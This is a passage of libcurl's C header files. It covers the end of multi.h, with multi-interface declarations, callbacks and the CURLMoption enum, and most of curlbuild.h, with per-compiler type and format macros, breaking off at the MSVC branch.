233 | CURL_EXTERN CURLMsg *curl_multi_info_read(CURLM *multi_handle,
234 | int *msgs_in_queue);
235 |
236 | /*
237 | * Name: curl_multi_strerror()
238 | *
239 | * Desc: The curl_multi_strerror function may be used to turn a CURLMcode
240 | * value into the equivalent human readable error string. This is
241 | * useful for printing meaningful error messages.
242 | *
243 | * Returns: A pointer to a zero-terminated error message.
244 | */
245 | CURL_EXTERN const char *curl_multi_strerror(CURLMcode);
246 |
247 | /*
248 | * Name: curl_multi_socket() and
249 | * curl_multi_socket_all()
250 | *
251 | * Desc: An alternative version of curl_multi_perform() that allows the
252 | * application to pass in one of the file descriptors that have been
253 | * detected to have "action" on them and let libcurl perform.
254 | * See man page for details.
255 | */
256 | #define CURL_POLL_NONE 0
257 | #define CURL_POLL_IN 1
258 | #define CURL_POLL_OUT 2
259 | #define CURL_POLL_INOUT 3
260 | #define CURL_POLL_REMOVE 4
261 |
262 | #define CURL_SOCKET_TIMEOUT CURL_SOCKET_BAD
263 |
264 | #define CURL_CSELECT_IN 0x01
265 | #define CURL_CSELECT_OUT 0x02
266 | #define CURL_CSELECT_ERR 0x04
267 |
268 | typedef int (*curl_socket_callback)(CURL *easy, /* easy handle */
269 | curl_socket_t s, /* socket */
270 | int what, /* see above */
271 | void *userp, /* private callback
272 | pointer */
273 | void *socketp); /* private socket
274 | pointer */
275 | /*
276 | * Name: curl_multi_timer_callback
277 | *
278 | * Desc: Called by libcurl whenever the library detects a change in the
279 | * maximum number of milliseconds the app is allowed to wait before
280 | * curl_multi_socket() or curl_multi_perform() must be called
281 | * (to allow libcurl's timed events to take place).
282 | *
283 | * Returns: The callback should return zero.
284 | */
285 | typedef int (*curl_multi_timer_callback)(CURLM *multi, /* multi handle */
286 | long timeout_ms, /* see above */
287 | void *userp); /* private callback
288 | pointer */
289 |
290 | CURL_EXTERN CURLMcode curl_multi_socket(CURLM *multi_handle, curl_socket_t s,
291 | int *running_handles);
292 |
293 | CURL_EXTERN CURLMcode curl_multi_socket_action(CURLM *multi_handle,
294 | curl_socket_t s,
295 | int ev_bitmask,
296 | int *running_handles);
297 |
298 | CURL_EXTERN CURLMcode curl_multi_socket_all(CURLM *multi_handle,
299 | int *running_handles);
300 |
301 | #ifndef CURL_ALLOW_OLD_MULTI_SOCKET
302 | /* This macro below was added in 7.16.3 to push users who recompile to use
303 | the new curl_multi_socket_action() instead of the old curl_multi_socket()
304 | */
305 | #define curl_multi_socket(x,y,z) curl_multi_socket_action(x,y,0,z)
306 | #endif
307 |
308 | /*
309 | * Name: curl_multi_timeout()
310 | *
311 | * Desc: Returns the maximum number of milliseconds the app is allowed to
312 | * wait before curl_multi_socket() or curl_multi_perform() must be
313 | * called (to allow libcurl's timed events to take place).
314 | *
315 | * Returns: CURLM error code.
316 | */
317 | CURL_EXTERN CURLMcode curl_multi_timeout(CURLM *multi_handle,
318 | long *milliseconds);
319 |
320 | #undef CINIT /* re-using the same name as in curl.h */
321 |
322 | #ifdef CURL_ISOCPP
323 | #define CINIT(name,type,num) CURLMOPT_ ## name = CURLOPTTYPE_ ## type + num
324 | #else
325 | /* The macro "##" is ISO C, we assume pre-ISO C doesn't support it. */
326 | #define LONG CURLOPTTYPE_LONG
327 | #define OBJECTPOINT CURLOPTTYPE_OBJECTPOINT
328 | #define FUNCTIONPOINT CURLOPTTYPE_FUNCTIONPOINT
329 | #define OFF_T CURLOPTTYPE_OFF_T
330 | #define CINIT(name,type,number) CURLMOPT_/**/name = type + number
331 | #endif
332 |
333 | typedef enum {
334 | /* This is the socket callback function pointer */
335 | CINIT(SOCKETFUNCTION, FUNCTIONPOINT, 1),
336 |
337 | /* This is the argument passed to the socket callback */
338 | CINIT(SOCKETDATA, OBJECTPOINT, 2),
339 |
340 | /* set to 1 to enable pipelining for this multi handle */
341 | CINIT(PIPELINING, LONG, 3),
342 |
343 | /* This is the timer callback function pointer */
344 | CINIT(TIMERFUNCTION, FUNCTIONPOINT, 4),
345 |
346 | /* This is the argument passed to the timer callback */
347 | CINIT(TIMERDATA, OBJECTPOINT, 5),
348 |
349 | /* maximum number of entries in the connection cache */
350 | CINIT(MAXCONNECTS, LONG, 6),
351 |
352 | /* maximum number of (pipelining) connections to one host */
353 | CINIT(MAX_HOST_CONNECTIONS, LONG, 7),
354 |
355 | /* maximum number of requests in a pipeline */
356 | CINIT(MAX_PIPELINE_LENGTH, LONG, 8),
357 |
358 | /* a connection with a content-length longer than this
359 | will not be considered for pipelining */
360 | CINIT(CONTENT_LENGTH_PENALTY_SIZE, OFF_T, 9),
361 |
362 | /* a connection with a chunk length longer than this
363 | will not be considered for pipelining */
364 | CINIT(CHUNK_LENGTH_PENALTY_SIZE, OFF_T, 10),
365 |
366 | /* a list of site names(+port) that are blacklisted from
367 | pipelining */
368 | CINIT(PIPELINING_SITE_BL, OBJECTPOINT, 11),
369 |
370 | /* a list of server types that are blacklisted from
371 | pipelining */
372 | CINIT(PIPELINING_SERVER_BL, OBJECTPOINT, 12),
373 |
374 | /* maximum number of open connections in total */
375 | CINIT(MAX_TOTAL_CONNECTIONS, LONG, 13),
376 |
377 | /* This is the server push callback function pointer */
378 | CINIT(PUSHFUNCTION, FUNCTIONPOINT, 14),
379 |
380 | /* This is the argument passed to the server push callback */
381 | CINIT(PUSHDATA, OBJECTPOINT, 15),
382 |
383 | CURLMOPT_LASTENTRY /* the last unused */
384 | } CURLMoption;
385 |
386 |
387 | /*
388 | * Name: curl_multi_setopt()
389 | *
390 | * Desc: Sets options for the multi handle.
391 | *
392 | * Returns: CURLM error code.
393 | */
394 | CURL_EXTERN CURLMcode curl_multi_setopt(CURLM *multi_handle,
395 | CURLMoption option, ...);
396 |
397 |
398 | /*
399 | * Name: curl_multi_assign()
400 | *
401 | * Desc: This function sets an association in the multi handle between the
402 | * given socket and a private pointer of the application. This is
403 | * (only) useful for curl_multi_socket uses.
404 | *
405 | * Returns: CURLM error code.
406 | */
407 | CURL_EXTERN CURLMcode curl_multi_assign(CURLM *multi_handle,
408 | curl_socket_t sockfd, void *sockp);
409 |
410 |
411 | /*
412 | * Name: curl_push_callback
413 | *
414 | * Desc: This callback gets called when a new stream is being pushed by the
415 | * server. It approves or denies the new stream.
416 | *
417 | * Returns: CURL_PUSH_OK or CURL_PUSH_DENY.
418 | */
419 | #define CURL_PUSH_OK 0
420 | #define CURL_PUSH_DENY 1
421 |
422 | struct curl_pushheaders; /* forward declaration only */
423 |
424 | CURL_EXTERN char *curl_pushheader_bynum(struct curl_pushheaders *h,
425 | size_t num);
426 | CURL_EXTERN char *curl_pushheader_byname(struct curl_pushheaders *h,
427 | const char *name);
428 |
429 | typedef int (*curl_push_callback)(CURL *parent,
430 | CURL *easy,
431 | size_t num_headers,
432 | struct curl_pushheaders *headers,
433 | void *userp);
434 |
435 | #ifdef __cplusplus
436 | } /* end of extern "C" */
437 | #endif
438 |
439 | #endif
440 |
--------------------------------------------------------------------------------
/curl/curlbuild.h:
--------------------------------------------------------------------------------
1 | #ifndef __CURL_CURLBUILD_H
2 | #define __CURL_CURLBUILD_H
3 | /***************************************************************************
4 | * _ _ ____ _
5 | * Project ___| | | | _ \| |
6 | * / __| | | | |_) | |
7 | * | (__| |_| | _ <| |___
8 | * \___|\___/|_| \_\_____|
9 | *
10 | * Copyright (C) 1998 - 2016, Daniel Stenberg, , et al.
11 | *
12 | * This software is licensed as described in the file COPYING, which
13 | * you should have received as part of this distribution. The terms
14 | * are also available at https://curl.haxx.se/docs/copyright.html.
15 | *
16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell
17 | * copies of the Software, and permit persons to whom the Software is
18 | * furnished to do so, under the terms of the COPYING file.
19 | *
20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
21 | * KIND, either express or implied.
22 | *
23 | ***************************************************************************/
24 |
25 | /* ================================================================ */
26 | /* NOTES FOR CONFIGURE CAPABLE SYSTEMS */
27 | /* ================================================================ */
28 |
29 | /*
30 | * NOTE 1:
31 | * -------
32 | *
33 | * See file include/curl/curlbuild.h.in, run configure, and forget
34 | * that this file exists it is only used for non-configure systems.
35 | * But you can keep reading if you want ;-)
36 | *
37 | */
38 |
39 | /* ================================================================ */
40 | /* NOTES FOR NON-CONFIGURE SYSTEMS */
41 | /* ================================================================ */
42 |
43 | /*
44 | * NOTE 1:
45 | * -------
46 | *
47 | * Nothing in this file is intended to be modified or adjusted by the
48 | * curl library user nor by the curl library builder.
49 | *
50 | * If you think that something actually needs to be changed, adjusted
51 | * or fixed in this file, then, report it on the libcurl development
52 | * mailing list: https://cool.haxx.se/mailman/listinfo/curl-library/
53 | *
54 | * Try to keep one section per platform, compiler and architecture,
55 | * otherwise, if an existing section is reused for a different one and
56 | * later on the original is adjusted, probably the piggybacking one can
57 | * be adversely changed.
58 | *
59 | * In order to differentiate between platforms/compilers/architectures
60 | * use only compiler built in predefined preprocessor symbols.
61 | *
62 | * This header file shall only export symbols which are 'curl' or 'CURL'
63 | * prefixed, otherwise public name space would be polluted.
64 | *
65 | * NOTE 2:
66 | * -------
67 | *
68 | * For any given platform/compiler curl_off_t must be typedef'ed to a
69 | * 64-bit wide signed integral data type. The width of this data type
70 | * must remain constant and independent of any possible large file
71 | * support settings.
72 | *
73 | * As an exception to the above, curl_off_t shall be typedef'ed to a
74 | * 32-bit wide signed integral data type if there is no 64-bit type.
75 | *
76 | * As a general rule, curl_off_t shall not be mapped to off_t. This
77 | * rule shall only be violated if off_t is the only 64-bit data type
78 | * available and the size of off_t is independent of large file support
79 | * settings. Keep your build on the safe side avoiding an off_t gating.
80 | * If you have a 64-bit off_t then take for sure that another 64-bit
81 | * data type exists, dig deeper and you will find it.
82 | *
83 | * NOTE 3:
84 | * -------
85 | *
86 | * Right now you might be staring at file include/curl/curlbuild.h.dist or
87 | * at file include/curl/curlbuild.h, this is due to the following reason:
88 | * file include/curl/curlbuild.h.dist is renamed to include/curl/curlbuild.h
89 | * when the libcurl source code distribution archive file is created.
90 | *
91 | * File include/curl/curlbuild.h.dist is not included in the distribution
92 | * archive. File include/curl/curlbuild.h is not present in the git tree.
93 | *
94 | * The distributed include/curl/curlbuild.h file is only intended to be used
95 | * on systems which can not run the also distributed configure script.
96 | *
97 | * On systems capable of running the configure script, the configure process
98 | * will overwrite the distributed include/curl/curlbuild.h file with one that
99 | * is suitable and specific to the library being configured and built, which
100 | * is generated from the include/curl/curlbuild.h.in template file.
101 | *
102 | * If you check out from git on a non-configure platform, you must run the
103 | * appropriate buildconf* script to set up curlbuild.h and other local files.
104 | *
105 | */
106 |
107 | /* ================================================================ */
108 | /* DEFINITION OF THESE SYMBOLS SHALL NOT TAKE PLACE ANYWHERE ELSE */
109 | /* ================================================================ */
110 |
111 | #ifdef CURL_SIZEOF_LONG
112 | # error "CURL_SIZEOF_LONG shall not be defined except in curlbuild.h"
113 | Error Compilation_aborted_CURL_SIZEOF_LONG_already_defined
114 | #endif
115 |
116 | #ifdef CURL_TYPEOF_CURL_SOCKLEN_T
117 | # error "CURL_TYPEOF_CURL_SOCKLEN_T shall not be defined except in curlbuild.h"
118 | Error Compilation_aborted_CURL_TYPEOF_CURL_SOCKLEN_T_already_defined
119 | #endif
120 |
121 | #ifdef CURL_SIZEOF_CURL_SOCKLEN_T
122 | # error "CURL_SIZEOF_CURL_SOCKLEN_T shall not be defined except in curlbuild.h"
123 | Error Compilation_aborted_CURL_SIZEOF_CURL_SOCKLEN_T_already_defined
124 | #endif
125 |
126 | #ifdef CURL_TYPEOF_CURL_OFF_T
127 | # error "CURL_TYPEOF_CURL_OFF_T shall not be defined except in curlbuild.h"
128 | Error Compilation_aborted_CURL_TYPEOF_CURL_OFF_T_already_defined
129 | #endif
130 |
131 | #ifdef CURL_FORMAT_CURL_OFF_T
132 | # error "CURL_FORMAT_CURL_OFF_T shall not be defined except in curlbuild.h"
133 | Error Compilation_aborted_CURL_FORMAT_CURL_OFF_T_already_defined
134 | #endif
135 |
136 | #ifdef CURL_FORMAT_CURL_OFF_TU
137 | # error "CURL_FORMAT_CURL_OFF_TU shall not be defined except in curlbuild.h"
138 | Error Compilation_aborted_CURL_FORMAT_CURL_OFF_TU_already_defined
139 | #endif
140 |
141 | #ifdef CURL_FORMAT_OFF_T
142 | # error "CURL_FORMAT_OFF_T shall not be defined except in curlbuild.h"
143 | Error Compilation_aborted_CURL_FORMAT_OFF_T_already_defined
144 | #endif
145 |
146 | #ifdef CURL_SIZEOF_CURL_OFF_T
147 | # error "CURL_SIZEOF_CURL_OFF_T shall not be defined except in curlbuild.h"
148 | Error Compilation_aborted_CURL_SIZEOF_CURL_OFF_T_already_defined
149 | #endif
150 |
151 | #ifdef CURL_SUFFIX_CURL_OFF_T
152 | # error "CURL_SUFFIX_CURL_OFF_T shall not be defined except in curlbuild.h"
153 | Error Compilation_aborted_CURL_SUFFIX_CURL_OFF_T_already_defined
154 | #endif
155 |
156 | #ifdef CURL_SUFFIX_CURL_OFF_TU
157 | # error "CURL_SUFFIX_CURL_OFF_TU shall not be defined except in curlbuild.h"
158 | Error Compilation_aborted_CURL_SUFFIX_CURL_OFF_TU_already_defined
159 | #endif
160 |
161 | /* ================================================================ */
162 | /* EXTERNAL INTERFACE SETTINGS FOR NON-CONFIGURE SYSTEMS ONLY */
163 | /* ================================================================ */
164 |
165 | #if defined(__DJGPP__) || defined(__GO32__)
166 | # if defined(__DJGPP__) && (__DJGPP__ > 1)
167 | # define CURL_SIZEOF_LONG 4
168 | # define CURL_TYPEOF_CURL_OFF_T long long
169 | # define CURL_FORMAT_CURL_OFF_T "lld"
170 | # define CURL_FORMAT_CURL_OFF_TU "llu"
171 | # define CURL_FORMAT_OFF_T "%lld"
172 | # define CURL_SIZEOF_CURL_OFF_T 8
173 | # define CURL_SUFFIX_CURL_OFF_T LL
174 | # define CURL_SUFFIX_CURL_OFF_TU ULL
175 | # else
176 | # define CURL_SIZEOF_LONG 4
177 | # define CURL_TYPEOF_CURL_OFF_T long
178 | # define CURL_FORMAT_CURL_OFF_T "ld"
179 | # define CURL_FORMAT_CURL_OFF_TU "lu"
180 | # define CURL_FORMAT_OFF_T "%ld"
181 | # define CURL_SIZEOF_CURL_OFF_T 4
182 | # define CURL_SUFFIX_CURL_OFF_T L
183 | # define CURL_SUFFIX_CURL_OFF_TU UL
184 | # endif
185 | # define CURL_TYPEOF_CURL_SOCKLEN_T int
186 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
187 |
188 | #elif defined(__SALFORDC__)
189 | # define CURL_SIZEOF_LONG 4
190 | # define CURL_TYPEOF_CURL_OFF_T long
191 | # define CURL_FORMAT_CURL_OFF_T "ld"
192 | # define CURL_FORMAT_CURL_OFF_TU "lu"
193 | # define CURL_FORMAT_OFF_T "%ld"
194 | # define CURL_SIZEOF_CURL_OFF_T 4
195 | # define CURL_SUFFIX_CURL_OFF_T L
196 | # define CURL_SUFFIX_CURL_OFF_TU UL
197 | # define CURL_TYPEOF_CURL_SOCKLEN_T int
198 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
199 |
200 | #elif defined(__BORLANDC__)
201 | # if (__BORLANDC__ < 0x520)
202 | # define CURL_SIZEOF_LONG 4
203 | # define CURL_TYPEOF_CURL_OFF_T long
204 | # define CURL_FORMAT_CURL_OFF_T "ld"
205 | # define CURL_FORMAT_CURL_OFF_TU "lu"
206 | # define CURL_FORMAT_OFF_T "%ld"
207 | # define CURL_SIZEOF_CURL_OFF_T 4
208 | # define CURL_SUFFIX_CURL_OFF_T L
209 | # define CURL_SUFFIX_CURL_OFF_TU UL
210 | # else
211 | # define CURL_SIZEOF_LONG 4
212 | # define CURL_TYPEOF_CURL_OFF_T __int64
213 | # define CURL_FORMAT_CURL_OFF_T "I64d"
214 | # define CURL_FORMAT_CURL_OFF_TU "I64u"
215 | # define CURL_FORMAT_OFF_T "%I64d"
216 | # define CURL_SIZEOF_CURL_OFF_T 8
217 | # define CURL_SUFFIX_CURL_OFF_T i64
218 | # define CURL_SUFFIX_CURL_OFF_TU ui64
219 | # endif
220 | # define CURL_TYPEOF_CURL_SOCKLEN_T int
221 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
222 |
223 | #elif defined(__TURBOC__)
224 | # define CURL_SIZEOF_LONG 4
225 | # define CURL_TYPEOF_CURL_OFF_T long
226 | # define CURL_FORMAT_CURL_OFF_T "ld"
227 | # define CURL_FORMAT_CURL_OFF_TU "lu"
228 | # define CURL_FORMAT_OFF_T "%ld"
229 | # define CURL_SIZEOF_CURL_OFF_T 4
230 | # define CURL_SUFFIX_CURL_OFF_T L
231 | # define CURL_SUFFIX_CURL_OFF_TU UL
232 | # define CURL_TYPEOF_CURL_SOCKLEN_T int
233 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
234 |
235 | #elif defined(__WATCOMC__)
236 | # if defined(__386__)
237 | # define CURL_SIZEOF_LONG 4
238 | # define CURL_TYPEOF_CURL_OFF_T __int64
239 | # define CURL_FORMAT_CURL_OFF_T "I64d"
240 | # define CURL_FORMAT_CURL_OFF_TU "I64u"
241 | # define CURL_FORMAT_OFF_T "%I64d"
242 | # define CURL_SIZEOF_CURL_OFF_T 8
243 | # define CURL_SUFFIX_CURL_OFF_T i64
244 | # define CURL_SUFFIX_CURL_OFF_TU ui64
245 | # else
246 | # define CURL_SIZEOF_LONG 4
247 | # define CURL_TYPEOF_CURL_OFF_T long
248 | # define CURL_FORMAT_CURL_OFF_T "ld"
249 | # define CURL_FORMAT_CURL_OFF_TU "lu"
250 | # define CURL_FORMAT_OFF_T "%ld"
251 | # define CURL_SIZEOF_CURL_OFF_T 4
252 | # define CURL_SUFFIX_CURL_OFF_T L
253 | # define CURL_SUFFIX_CURL_OFF_TU UL
254 | # endif
255 | # define CURL_TYPEOF_CURL_SOCKLEN_T int
256 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
257 |
258 | #elif defined(__POCC__)
259 | # if (__POCC__ < 280)
260 | # define CURL_SIZEOF_LONG 4
261 | # define CURL_TYPEOF_CURL_OFF_T long
262 | # define CURL_FORMAT_CURL_OFF_T "ld"
263 | # define CURL_FORMAT_CURL_OFF_TU "lu"
264 | # define CURL_FORMAT_OFF_T "%ld"
265 | # define CURL_SIZEOF_CURL_OFF_T 4
266 | # define CURL_SUFFIX_CURL_OFF_T L
267 | # define CURL_SUFFIX_CURL_OFF_TU UL
268 | # elif defined(_MSC_VER)
269 | # define CURL_SIZEOF_LONG 4
270 | # define CURL_TYPEOF_CURL_OFF_T __int64
271 | # define CURL_FORMAT_CURL_OFF_T "I64d"
272 | # define CURL_FORMAT_CURL_OFF_TU "I64u"
273 | # define CURL_FORMAT_OFF_T "%I64d"
274 | # define CURL_SIZEOF_CURL_OFF_T 8
275 | # define CURL_SUFFIX_CURL_OFF_T i64
276 | # define CURL_SUFFIX_CURL_OFF_TU ui64
277 | # else
278 | # define CURL_SIZEOF_LONG 4
279 | # define CURL_TYPEOF_CURL_OFF_T long long
280 | # define CURL_FORMAT_CURL_OFF_T "lld"
281 | # define CURL_FORMAT_CURL_OFF_TU "llu"
282 | # define CURL_FORMAT_OFF_T "%lld"
283 | # define CURL_SIZEOF_CURL_OFF_T 8
284 | # define CURL_SUFFIX_CURL_OFF_T LL
285 | # define CURL_SUFFIX_CURL_OFF_TU ULL
286 | # endif
287 | # define CURL_TYPEOF_CURL_SOCKLEN_T int
288 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
289 |
290 | #elif defined(__LCC__)
291 | # define CURL_SIZEOF_LONG 4
292 | # define CURL_TYPEOF_CURL_OFF_T long
293 | # define CURL_FORMAT_CURL_OFF_T "ld"
294 | # define CURL_FORMAT_CURL_OFF_TU "lu"
295 | # define CURL_FORMAT_OFF_T "%ld"
296 | # define CURL_SIZEOF_CURL_OFF_T 4
297 | # define CURL_SUFFIX_CURL_OFF_T L
298 | # define CURL_SUFFIX_CURL_OFF_TU UL
299 | # define CURL_TYPEOF_CURL_SOCKLEN_T int
300 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
301 |
302 | #elif defined(__SYMBIAN32__)
303 | # if defined(__EABI__) /* Treat all ARM compilers equally */
304 | # define CURL_SIZEOF_LONG 4
305 | # define CURL_TYPEOF_CURL_OFF_T long long
306 | # define CURL_FORMAT_CURL_OFF_T "lld"
307 | # define CURL_FORMAT_CURL_OFF_TU "llu"
308 | # define CURL_FORMAT_OFF_T "%lld"
309 | # define CURL_SIZEOF_CURL_OFF_T 8
310 | # define CURL_SUFFIX_CURL_OFF_T LL
311 | # define CURL_SUFFIX_CURL_OFF_TU ULL
312 | # elif defined(__CW32__)
313 | # pragma longlong on
314 | # define CURL_SIZEOF_LONG 4
315 | # define CURL_TYPEOF_CURL_OFF_T long long
316 | # define CURL_FORMAT_CURL_OFF_T "lld"
317 | # define CURL_FORMAT_CURL_OFF_TU "llu"
318 | # define CURL_FORMAT_OFF_T "%lld"
319 | # define CURL_SIZEOF_CURL_OFF_T 8
320 | # define CURL_SUFFIX_CURL_OFF_T LL
321 | # define CURL_SUFFIX_CURL_OFF_TU ULL
322 | # elif defined(__VC32__)
323 | # define CURL_SIZEOF_LONG 4
324 | # define CURL_TYPEOF_CURL_OFF_T __int64
325 | # define CURL_FORMAT_CURL_OFF_T "lld"
326 | # define CURL_FORMAT_CURL_OFF_TU "llu"
327 | # define CURL_FORMAT_OFF_T "%lld"
328 | # define CURL_SIZEOF_CURL_OFF_T 8
329 | # define CURL_SUFFIX_CURL_OFF_T LL
330 | # define CURL_SUFFIX_CURL_OFF_TU ULL
331 | # endif
332 | # define CURL_TYPEOF_CURL_SOCKLEN_T unsigned int
333 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
334 |
335 | #elif defined(__MWERKS__)
336 | # define CURL_SIZEOF_LONG 4
337 | # define CURL_TYPEOF_CURL_OFF_T long long
338 | # define CURL_FORMAT_CURL_OFF_T "lld"
339 | # define CURL_FORMAT_CURL_OFF_TU "llu"
340 | # define CURL_FORMAT_OFF_T "%lld"
341 | # define CURL_SIZEOF_CURL_OFF_T 8
342 | # define CURL_SUFFIX_CURL_OFF_T LL
343 | # define CURL_SUFFIX_CURL_OFF_TU ULL
344 | # define CURL_TYPEOF_CURL_SOCKLEN_T int
345 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
346 |
347 | #elif defined(_WIN32_WCE)
348 | # define CURL_SIZEOF_LONG 4
349 | # define CURL_TYPEOF_CURL_OFF_T __int64
350 | # define CURL_FORMAT_CURL_OFF_T "I64d"
351 | # define CURL_FORMAT_CURL_OFF_TU "I64u"
352 | # define CURL_FORMAT_OFF_T "%I64d"
353 | # define CURL_SIZEOF_CURL_OFF_T 8
354 | # define CURL_SUFFIX_CURL_OFF_T i64
355 | # define CURL_SUFFIX_CURL_OFF_TU ui64
356 | # define CURL_TYPEOF_CURL_SOCKLEN_T int
357 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
358 |
359 | #elif defined(__MINGW32__)
360 | # define CURL_SIZEOF_LONG 4
361 | # define CURL_TYPEOF_CURL_OFF_T long long
362 | # define CURL_FORMAT_CURL_OFF_T "I64d"
363 | # define CURL_FORMAT_CURL_OFF_TU "I64u"
364 | # define CURL_FORMAT_OFF_T "%I64d"
365 | # define CURL_SIZEOF_CURL_OFF_T 8
366 | # define CURL_SUFFIX_CURL_OFF_T LL
367 | # define CURL_SUFFIX_CURL_OFF_TU ULL
368 | # define CURL_TYPEOF_CURL_SOCKLEN_T int
369 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
370 |
371 | #elif defined(__VMS)
372 | # if defined(__VAX)
373 | # define CURL_SIZEOF_LONG 4
374 | # define CURL_TYPEOF_CURL_OFF_T long
375 | # define CURL_FORMAT_CURL_OFF_T "ld"
376 | # define CURL_FORMAT_CURL_OFF_TU "lu"
377 | # define CURL_FORMAT_OFF_T "%ld"
378 | # define CURL_SIZEOF_CURL_OFF_T 4
379 | # define CURL_SUFFIX_CURL_OFF_T L
380 | # define CURL_SUFFIX_CURL_OFF_TU UL
381 | # else
382 | # define CURL_SIZEOF_LONG 4
383 | # define CURL_TYPEOF_CURL_OFF_T long long
384 | # define CURL_FORMAT_CURL_OFF_T "lld"
385 | # define CURL_FORMAT_CURL_OFF_TU "llu"
386 | # define CURL_FORMAT_OFF_T "%lld"
387 | # define CURL_SIZEOF_CURL_OFF_T 8
388 | # define CURL_SUFFIX_CURL_OFF_T LL
389 | # define CURL_SUFFIX_CURL_OFF_TU ULL
390 | # endif
391 | # define CURL_TYPEOF_CURL_SOCKLEN_T unsigned int
392 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
393 |
394 | #elif defined(__OS400__)
395 | # if defined(__ILEC400__)
396 | # define CURL_SIZEOF_LONG 4
397 | # define CURL_TYPEOF_CURL_OFF_T long long
398 | # define CURL_FORMAT_CURL_OFF_T "lld"
399 | # define CURL_FORMAT_CURL_OFF_TU "llu"
400 | # define CURL_FORMAT_OFF_T "%lld"
401 | # define CURL_SIZEOF_CURL_OFF_T 8
402 | # define CURL_SUFFIX_CURL_OFF_T LL
403 | # define CURL_SUFFIX_CURL_OFF_TU ULL
404 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
405 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
406 | # define CURL_PULL_SYS_TYPES_H 1
407 | # define CURL_PULL_SYS_SOCKET_H 1
408 | # endif
409 |
410 | #elif defined(__MVS__)
411 | # if defined(__IBMC__) || defined(__IBMCPP__)
412 | # if defined(_ILP32)
413 | # define CURL_SIZEOF_LONG 4
414 | # elif defined(_LP64)
415 | # define CURL_SIZEOF_LONG 8
416 | # endif
417 | # if defined(_LONG_LONG)
418 | # define CURL_TYPEOF_CURL_OFF_T long long
419 | # define CURL_FORMAT_CURL_OFF_T "lld"
420 | # define CURL_FORMAT_CURL_OFF_TU "llu"
421 | # define CURL_FORMAT_OFF_T "%lld"
422 | # define CURL_SIZEOF_CURL_OFF_T 8
423 | # define CURL_SUFFIX_CURL_OFF_T LL
424 | # define CURL_SUFFIX_CURL_OFF_TU ULL
425 | # elif defined(_LP64)
426 | # define CURL_TYPEOF_CURL_OFF_T long
427 | # define CURL_FORMAT_CURL_OFF_T "ld"
428 | # define CURL_FORMAT_CURL_OFF_TU "lu"
429 | # define CURL_FORMAT_OFF_T "%ld"
430 | # define CURL_SIZEOF_CURL_OFF_T 8
431 | # define CURL_SUFFIX_CURL_OFF_T L
432 | # define CURL_SUFFIX_CURL_OFF_TU UL
433 | # else
434 | # define CURL_TYPEOF_CURL_OFF_T long
435 | # define CURL_FORMAT_CURL_OFF_T "ld"
436 | # define CURL_FORMAT_CURL_OFF_TU "lu"
437 | # define CURL_FORMAT_OFF_T "%ld"
438 | # define CURL_SIZEOF_CURL_OFF_T 4
439 | # define CURL_SUFFIX_CURL_OFF_T L
440 | # define CURL_SUFFIX_CURL_OFF_TU UL
441 | # endif
442 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
443 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
444 | # define CURL_PULL_SYS_TYPES_H 1
445 | # define CURL_PULL_SYS_SOCKET_H 1
446 | # endif
447 |
448 | #elif defined(__370__)
449 | # if defined(__IBMC__) || defined(__IBMCPP__)
450 | # if defined(_ILP32)
451 | # define CURL_SIZEOF_LONG 4
452 | # elif defined(_LP64)
453 | # define CURL_SIZEOF_LONG 8
454 | # endif
455 | # if defined(_LONG_LONG)
456 | # define CURL_TYPEOF_CURL_OFF_T long long
457 | # define CURL_FORMAT_CURL_OFF_T "lld"
458 | # define CURL_FORMAT_CURL_OFF_TU "llu"
459 | # define CURL_FORMAT_OFF_T "%lld"
460 | # define CURL_SIZEOF_CURL_OFF_T 8
461 | # define CURL_SUFFIX_CURL_OFF_T LL
462 | # define CURL_SUFFIX_CURL_OFF_TU ULL
463 | # elif defined(_LP64)
464 | # define CURL_TYPEOF_CURL_OFF_T long
465 | # define CURL_FORMAT_CURL_OFF_T "ld"
466 | # define CURL_FORMAT_CURL_OFF_TU "lu"
467 | # define CURL_FORMAT_OFF_T "%ld"
468 | # define CURL_SIZEOF_CURL_OFF_T 8
469 | # define CURL_SUFFIX_CURL_OFF_T L
470 | # define CURL_SUFFIX_CURL_OFF_TU UL
471 | # else
472 | # define CURL_TYPEOF_CURL_OFF_T long
473 | # define CURL_FORMAT_CURL_OFF_T "ld"
474 | # define CURL_FORMAT_CURL_OFF_TU "lu"
475 | # define CURL_FORMAT_OFF_T "%ld"
476 | # define CURL_SIZEOF_CURL_OFF_T 4
477 | # define CURL_SUFFIX_CURL_OFF_T L
478 | # define CURL_SUFFIX_CURL_OFF_TU UL
479 | # endif
480 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
481 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
482 | # define CURL_PULL_SYS_TYPES_H 1
483 | # define CURL_PULL_SYS_SOCKET_H 1
484 | # endif
485 |
486 | #elif defined(TPF)
487 | # define CURL_SIZEOF_LONG 8
488 | # define CURL_TYPEOF_CURL_OFF_T long
489 | # define CURL_FORMAT_CURL_OFF_T "ld"
490 | # define CURL_FORMAT_CURL_OFF_TU "lu"
491 | # define CURL_FORMAT_OFF_T "%ld"
492 | # define CURL_SIZEOF_CURL_OFF_T 8
493 | # define CURL_SUFFIX_CURL_OFF_T L
494 | # define CURL_SUFFIX_CURL_OFF_TU UL
495 | # define CURL_TYPEOF_CURL_SOCKLEN_T int
496 | # define CURL_SIZEOF_CURL_SOCKLEN_T 4
497 |
498 | /* ===================================== */
499 | /* KEEP MSVC THE PENULTIMATE ENTRY */
500 | /* ===================================== */
501 |
502 | #elif defined(_MSC_VER)
